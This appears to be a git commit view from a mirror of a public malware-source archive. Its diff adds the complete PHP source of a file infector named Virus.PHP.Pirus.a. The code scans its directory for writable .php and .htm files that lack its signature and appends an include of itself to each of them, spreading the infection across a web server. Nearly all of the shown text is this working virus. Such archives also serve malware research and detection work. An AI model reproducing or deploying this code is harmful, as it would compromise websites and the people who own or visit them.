mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Rename PHP/Virus.PHP.Pirus to PHP/Infector/Virus.PHP.Pirus.a
This commit is contained in:
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
$handle=opendir('.');
|
||||
while ($file = readdir($handle))
|
||||
{ $infected=true;
|
||||
$executable=false;
|
||||
|
||||
if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.php')) )
|
||||
if ( is_file($file) && is_writeable($file) )
|
||||
{
|
||||
$host = fopen($file, "r");
|
||||
$contents = fread ($host, filesize ($file));
|
||||
$sig = strstr ($contents, 'pirus.php');
|
||||
if(!$sig) $infected=false;
|
||||
}
|
||||
//infect
|
||||
if (($infected==false))
|
||||
{
|
||||
$host = fopen($file, "a");
|
||||
fputs($host,"<?php ");
|
||||
fputs($host,"include(\"");
|
||||
fputs($host,__FILE__);
|
||||
fputs($host,"\"); ");
|
||||
fputs($host,"?>");
|
||||
fclose($host);
|
||||
return;
|
||||
}
|
||||
}
|
||||
closedir($handle);
|
||||
?>
|
||||
Reference in New Issue
Block a user